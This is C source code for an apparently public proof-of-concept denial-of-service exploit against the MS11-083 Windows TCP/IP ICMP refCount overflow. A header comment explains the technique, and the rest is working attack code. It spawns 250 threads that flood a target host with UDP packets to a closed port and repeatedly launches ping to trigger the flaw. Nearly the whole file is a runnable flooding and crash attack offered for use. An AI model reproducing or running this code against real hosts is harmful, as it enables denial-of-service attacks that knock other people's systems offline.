MS11-083 PoC winnuke2011.c

/*
* MS11-083 DoS/PoC exploit
* ========================
* This attempts to trigger the ICMP refCount overflow
* in TCP/IP stack of Win7/Vista/Win2k8 hosts. This
* requires sending 2^32 UDP packets to a host on a closed
* port, or 4,294,967,296 packets. A dereference function
* must be called that is not triggered via UDP but ICMP
* echo packets. This exploit creates 250 threads and
* floods a host with UDP packets and then attempts to
* trigger the de-ref using ping. I calculated that it
* would take approximately 52 days for the host to
* enter a condition where this vulnerability is
* triggerable.
*
* -- prdelka
*/
#include <stdio.h>
#include <stdlib.h>
#include <pthread.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <sys/time.h>

int port;
int active = 0;
pthread_mutex_t mutexactive;
void *sendpackets(void *ptr);

int main(int argc, char *argv[]) {
        pthread_t thread;
        int iret,lthreads;
    pid_t pid;
    printf("[+] MS11-083 DoS/PoC exploit\n");
    if(argc<3){
        printf("[!] Usage : %s <server> <port>\n", argv[0]);
        exit(1);
    }
    char *const args[] = {"ping","-c","1",argv[1],NULL};
    char *const envp[] = {"",NULL};
    port = atoi(argv[2]);
    for(lthreads=0;lthreads<250;lthreads++){//UDP flood
        iret = pthread_create(&thread,NULL,sendpackets,argv[1]);
        printf("[-] Thread number %d started\n",lthreads);
        sleep(1);
    }
    printf("[-] One does not simply barrel roll into Mordor\n");
    while(active){
        pid = fork();
        if(pid==0){// trigger deref.
            execve("/sbin/ping",args,envp);
        };
        sleep(15);
    }
    printf("[-] You are finished. Patience is a virtue.\n");
    exit(0);
}

void *sendpackets(void *ptr)
{
    int sd, rc, n, echoLen, flags, error, timeOut;
    unsigned long i;
    struct sockaddr_in remoteServAddr;
    struct hostent *h;
    char str[41];
    pthread_mutex_lock(&mutexactive);
    active++;
    pthread_mutex_unlock(&mutexactive);
    srand(time(NULL));
    for (i = 0;i < 40;++i){
        str[i] = (char)((rand() % 78) + 30);
    }
    str[40] = '\0'; // yes this was off-by-one. :(
    printf("[-] Sending payload '%s'\n",str);
    h = gethostbyname(ptr);
    if(h==NULL) {
            printf("unknown host '%s' \n",(char*)ptr);
            exit(1);
    }
    remoteServAddr.sin_family = h->h_addrtype;
    memcpy((char *) &remoteServAddr.sin_addr.s_addr,h->h_addr_list[0], h->h_length);
    remoteServAddr.sin_port = htons(port);
    sd = socket(AF_INET,SOCK_DGRAM,0);
    if(sd<0){
        printf("[!] Cannot open socket\n");
        pthread_exit((void*)0);
    }
    flags = 0;
    for(i=0;i<4294967295;i++){
        rc = sendto(sd,str,strlen(str)+1,flags,(struct sockaddr *)&remoteServAddr,sizeof(remoteServAddr));
        if(rc<0){
            printf("[!] Cannot send data\n");
                close(sd);
            pthread_exit((void*)0);
            }
    }
    pthread_mutex_lock(&mutexactive);
    active--;
    pthread_mutex_unlock(&mutexactive);
    pthread_exit(NULL);
}